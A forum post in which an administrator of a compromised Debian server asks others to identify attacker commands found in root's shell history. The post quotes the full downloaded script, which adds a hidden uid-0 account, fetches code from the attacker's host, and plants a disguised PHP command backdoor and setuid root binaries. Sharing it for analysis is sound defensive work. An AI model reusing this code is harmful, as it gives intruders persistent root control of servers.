Weird set of shell commands in root's .bash_history

I have probably just detected that a user on a server of mine has rooted my server, but that's not what I'm asking.

Has anyone ever seen command like these:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

Seems to me that it's a work of some automated script, but I'm not sure which one.

Anyone has a clue about this?

OS is Debian Lenny, kernel 2.6.30-bpo.2-686-bigmem (if that's important).

By the way, link in code above is masked, anyone who wants code that is downloaded, I have made a copy, for analysis, so I can provide it on request.

Edit: I'm attaching contents of .sh script, as a reference, if anyone's interested.

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
do
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <[email protected]>
* @author     Stig Bakken <[email protected]>
* @author     Tomas V.V.Cox <[email protected]>
* @author     Greg Beaver <[email protected]>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
    for(\$i=0;\$i<\$len;\$i++)
    {
        \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
    }

    return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
    {
        if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
            {
                \$data=base64_decode(\$_POST['suhosindata']);
                \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

                if(\$_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                }
                else if(\$_POST['suhosinaction']=="command")
                {
                    system(\$data);
                    print("SUHOSIN CMD\n");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
    echo "[*] restarting $ctl"
    `\$ctl restart`
done
rm $0

Interesting.